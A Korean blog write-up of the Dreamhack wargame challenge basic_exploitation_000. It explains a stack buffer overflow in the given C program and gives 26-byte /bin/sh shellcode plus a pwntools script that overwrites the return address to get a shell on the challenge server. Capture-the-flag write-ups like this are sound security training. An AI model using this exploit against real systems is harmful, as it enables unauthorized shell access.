본문 바로가기

드림핵 워게임

[드림핵/워게임] basic_exploitation_000

https://dreamhack.io/wargame/challenges/2/

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

 

문제 파일을 다운 받으면 basic_exploitation_000.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

1. 0x80 크기의 buf를 선언

2. intialize 함수 호출 (30초 후 실행 종료)

3. buf의 주소 출력

4. scanf("%141s", buf);를 통해 입력받기

 

0x80보다 더 큰 문자열을 입력할 수 있으므로 bof를 일으킬 수 있다!

스택은 buf - SFP - RET으로 이루어져 있으며, 이 문제의 경우 문제 파일이 32비트 체계로 RBP의 크기는 4바이트이다. 따라서 buf와 RET 사이의 크기는 0x84이다.

 

scanf의 경우 26바이트 셸코드를 사용해야 한다고 한다.

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

따라서 26바이트 셸코드 + 106바이트 쓰레기값 + 버퍼의 주소

순으로 입력해 주면 권한을 얻을 수 있다.

 

그대로 pwntools를 이용해 코드를 짜 보면 다음과 같다.

 

from pwn import *

p = remote("host3.dreamhack.games", 15699)
p.recvuntil("(")

buf = int(p.recv(10), 16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

payload += b"a"*106

payload += p32(buf)

p.sendline(payload)
p.interactive()

1. pwntools의 remote 함수를 통해 문제 접속

2. 버퍼의 주소가 ( 다음에 오므로 (까지 기다리기

3. 버퍼의 주소 받아오기

4. 페이로드에 셸코드 + 106바이트 쓰레기값 + 버퍼 주소 저장 후 보내기

 

 

그러면 다음과 같이 권한을 얻어 플래그를 얻을 수 있다.